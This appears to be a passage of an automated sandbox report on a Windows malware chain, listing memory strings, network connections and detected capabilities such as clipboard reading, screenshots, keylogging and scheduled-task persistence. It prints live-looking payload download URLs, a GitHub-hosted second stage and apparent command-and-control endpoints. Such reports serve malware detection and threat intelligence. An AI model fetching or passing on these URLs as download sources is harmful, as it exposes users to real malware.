Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7999675383/wYfLzVg.exe
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: KbSwZup.exe, 0000003C.00000003.2636834141.0000000005E14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: KbSwZup.exe, 0000003C.00000003.2713537954.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: KbSwZup.exe, 0000003C.00000003.2713537954.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: KbSwZup.exe, 0000003C.00000003.2713537954.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: KbSwZup.exe, 0000003C.00000003.2713537954.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B4601000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B4601000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/1L0S
Source: wYfLzVg[1].exe.6.dr String found in binary or memory: https://github.com/temperloin/Figvam/raw/refs/heads/main/pythiksdaw.exe
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B45A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/temperloin/Figvam/raw/refs/heads/main/pythiksdaw.exe/
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B45E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/temperloin/Figvam/raw/refs/heads/main/pythiksdaw.exeH
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B45B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/temperloin/Figvam/raw/refs/heads/main/pythiksdaw.exej
Source: KbSwZup.exe, 0000003C.00000003.2713537954.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 949wScO.exe, 0000003F.00000002.2743341980.000000000128A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://importenptoc.com/
Source: 949wScO.exe, 0000003F.00000002.2743341980.000000000128A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://importenptoc.com/=C
Source: 949wScO.exe, 0000003F.00000002.2743341980.000000000128A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://importenptoc.com/SG
Source: 949wScO.exe, 0000003F.00000002.2743341980.0000000001286000.00000004.00000020.00020000.00000000.sdmp, 949wScO.exe, 0000003F.00000002.2742963565.0000000001249000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://importenptoc.com/api
Source: 949wScO.exe, 0000003F.00000002.2742735893.0000000001236000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://importenptoc.com/api_s
Source: 949wScO.exe, 0000003F.00000002.2742963565.0000000001249000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://importenptoc.com/apif
Source: 949wScO.exe, 0000003F.00000002.2743341980.000000000128A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://importenptoc.com/at
Source: wYfLzVg.exe, 0000002D.00000003.2689600187.00000140B4652000.00000004.00000020.00020000.00000000.sdmp, wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B4652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/
Source: wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B4652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/temperloin/Figvam/refs
Source: wYfLzVg.exe, 0000002D.00000003.2689600187.00000140B4652000.00000004.00000020.00020000.00000000.sdmp, wYfLzVg.exe, 0000002D.00000003.2689572304.00000140B4673000.00000004.00000020.00020000.00000000.sdmp, wYfLzVg.exe, 0000002D.00000002.2721249750.00000140B6290000.00000004.00000020.00020000.00000000.sdmp, wYfLzVg.exe, 0000002D.00000003.2689407672.00000140B4628000.00000004.00000020.00020000.00000000.sdmp, wYfLzVg.exe, 0000002D.00000002.2719866469.00000140B45E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/temperloin/Figvam/refs/heads/main/pythiksdaw.exe
Source: KbSwZup.exe, 0000003C.00000002.2778421773.000000000150D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2740671499.0000000001507000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771142615.0000000001507000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2775356027.000000000150C000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2714063342.0000000001509000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2636527012.000000000150B000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771662506.000000000150C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou
Source: KbSwZup.exe, 0000003C.00000002.2777898182.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2599069399.0000000001484000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771240838.0000000001484000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2714316096.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2740671499.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2714063342.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/
Source: KbSwZup.exe, 0000003C.00000003.2713375795.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2634865718.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2635200548.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2635521967.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2637270976.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2713466596.0000000005DD6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/;?
Source: KbSwZup.exe, 0000003C.00000003.2599069399.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000002.2777898182.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/PW
Source: KbSwZup.exe, 0000003C.00000003.2740671499.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2714063342.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/V
Source: KbSwZup.exe, 0000003C.00000003.2599069399.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/W
Source: KbSwZup.exe, 0000003C.00000003.2601435808.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000002.2778512863.000000000152D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2749808808.0000000001518000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000002.2778421773.000000000150D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2742913122.0000000001511000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2749808808.000000000152D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2770992146.0000000001518000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2774619043.0000000001518000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2740671499.0000000001507000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2774619043.000000000152D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2749406613.0000000001518000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2770992146.000000000152D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771142615.0000000001507000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000002.2778470930.000000000151A000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2749406613.000000000152D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2775356027.000000000150C000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2714063342.0000000001509000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2636527012.000000000150B000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771662506.000000000150C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/api
Source: KbSwZup.exe, 0000003C.00000003.2601435808.00000000014B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/api;9
Source: KbSwZup.exe, 0000003C.00000003.2599069399.00000000014E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/api;:
Source: KbSwZup.exe, 0000003C.00000003.2749808808.0000000001518000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2770992146.0000000001518000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2774619043.0000000001518000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2749406613.0000000001518000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/apiG
Source: KbSwZup.exe, 0000003C.00000003.2714063342.0000000001509000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2636527012.000000000150B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/apidata%
Source: KbSwZup.exe, 0000003C.00000002.2778421773.000000000150D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2775356027.000000000150C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/apiero
Source: KbSwZup.exe, 0000003C.00000002.2778421773.000000000150D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771142615.0000000001507000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2775356027.000000000150C000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2771662506.000000000150C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/apisn
Source: KbSwZup.exe, 0000003C.00000003.2581809960.000000000149D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2601435808.000000000149D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2719718806.000000000149D000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2599069399.000000000149B000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2719582324.000000000149B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/apit
Source: KbSwZup.exe, 0000003C.00000002.2783546108.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou/te;9
Source: KbSwZup.exe, 0000003C.00000003.2771083582.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou:443/api
Source: KbSwZup.exe, 0000003C.00000003.2749239966.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2749598558.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://soulfulimusic.cyou:443/api;?
Source: KbSwZup.exe, 0000003C.00000003.2605677190.0000000005E24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: KbSwZup.exe, 0000003C.00000003.2638716693.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KbSwZup.exe, 0000003C.00000003.2638716693.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: KbSwZup.exe, 0000003C.00000003.2605979898.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2605677190.0000000005E24000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2617663890.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: KbSwZup.exe, 0000003C.00000003.2605979898.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: KbSwZup.exe, 0000003C.00000003.2605979898.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2605677190.0000000005E24000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2617663890.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: KbSwZup.exe, 0000003C.00000003.2605979898.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: KbSwZup.exe, 0000003C.00000003.2713537954.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 949wScO.exe, 0000003F.00000002.2742735893.0000000001236000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-land
Source: KbSwZup.exe, 0000003C.00000003.2581765619.0000000001500000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2581809960.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2599069399.000000000147D000.00000004.00000020.00020000.00000000.sdmp, 949wScO.exe, 0000003F.00000002.2742963565.0000000001249000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: KbSwZup.exe, 0000003C.00000003.2601435808.00000000014B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learniE
Source: KbSwZup.exe, 0000003C.00000003.2581765619.0000000001500000.00000004.00000020.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2581809960.00000000014B6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: KbSwZup.exe, 0000003C.00000003.2713537954.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: KbSwZup.exe, 0000003C.00000003.2604790211.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KbSwZup.exe, 0000003C.00000003.2638716693.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: KbSwZup.exe, 0000003C.00000003.2638716693.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: KbSwZup.exe, 0000003C.00000003.2638716693.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: KbSwZup.exe, 0000003C.00000003.2638716693.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: KbSwZup.exe, 0000003C.00000003.2638716693.0000000005EE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: unknown Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:50042 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 19_2_00129020 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard, 19_2_00129020
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 19_2_00129020 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard, 19_2_00129020
Contains functionality to record screenshots
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 19_2_001291E0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject, 19_2_001291E0
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FE2010 GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState, 45_2_00007FF787FE2010

System Summary
barindex
PE file contains section with special chars
Source: random.exe Static PE information: section name:
Source: random.exe Static PE information: section name: .idata
Source: random.exe Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: KbSwZup[1].exe.6.dr Static PE information: section name:
Source: KbSwZup[1].exe.6.dr Static PE information: section name: .idata
Source: KbSwZup[1].exe.6.dr Static PE information: section name:
Source: KbSwZup.exe.6.dr Static PE information: section name:
Source: KbSwZup.exe.6.dr Static PE information: section name: .idata
Source: KbSwZup.exe.6.dr Static PE information: section name:
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Code function: 20_2_00007FF6E4B770C0 WakeByAddressSingle,NtCancelIoFileEx,RtlNtStatusToDosError,NtDeviceIoControlFile,RtlNtStatusToDosError,WakeByAddressSingle,WakeByAddressSingle,WakeByAddressSingle,WakeByAddressSingle, 20_2_00007FF6E4B770C0
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Code function: 20_2_00007FF6E4B885F0 NtWriteFile,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 20_2_00007FF6E4B885F0
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Code function: 20_2_00007FF6E4B01CC0 GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,NtWriteFile,NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,CloseHandle,NtWriteFile,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,NtWriteFile,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 20_2_00007FF6E4B01CC0
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Code function: 20_2_00007FF6E4B766D0 NtCancelIoFileEx,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,RtlNtStatusToDosError, 20_2_00007FF6E4B766D0
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Code function: 29_2_00007FF7E60685F0 NtWriteFile,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 29_2_00007FF7E60685F0
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Code function: 29_2_00007FF7E5FE1CC0 GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,NtWriteFile,NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,CloseHandle,NtWriteFile,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,NtWriteFile,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 29_2_00007FF7E5FE1CC0
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Code function: 29_2_00007FF7E60566D0 NtCancelIoFileEx,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,RtlNtStatusToDosError, 29_2_00007FF7E60566D0
Source: C:\ProgramData\IaobsEngine\IaobsEngine.exe Code function: 29_2_00007FF7E60570C0 WakeByAddressSingle,NtCancelIoFileEx,RtlNtStatusToDosError,NtDeviceIoControlFile,RtlNtStatusToDosError,WakeByAddressSingle,WakeByAddressSingle,WakeByAddressSingle,WakeByAddressSingle, 29_2_00007FF7E60570C0
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Code function: 20_2_00007FF6E4B770C0: WakeByAddressSingle,NtCancelIoFileEx,RtlNtStatusToDosError,NtDeviceIoControlFile,RtlNtStatusToDosError,WakeByAddressSingle,WakeByAddressSingle,WakeByAddressSingle,WakeByAddressSingle, 20_2_00007FF6E4B770C0
Creates files inside the system directory
Source: C:\Users\user\Desktop\random.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C8E530 6_2_00C8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00CC78BB 6_2_00CC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00CC7049 6_2_00CC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00CC8860 6_2_00CC8860
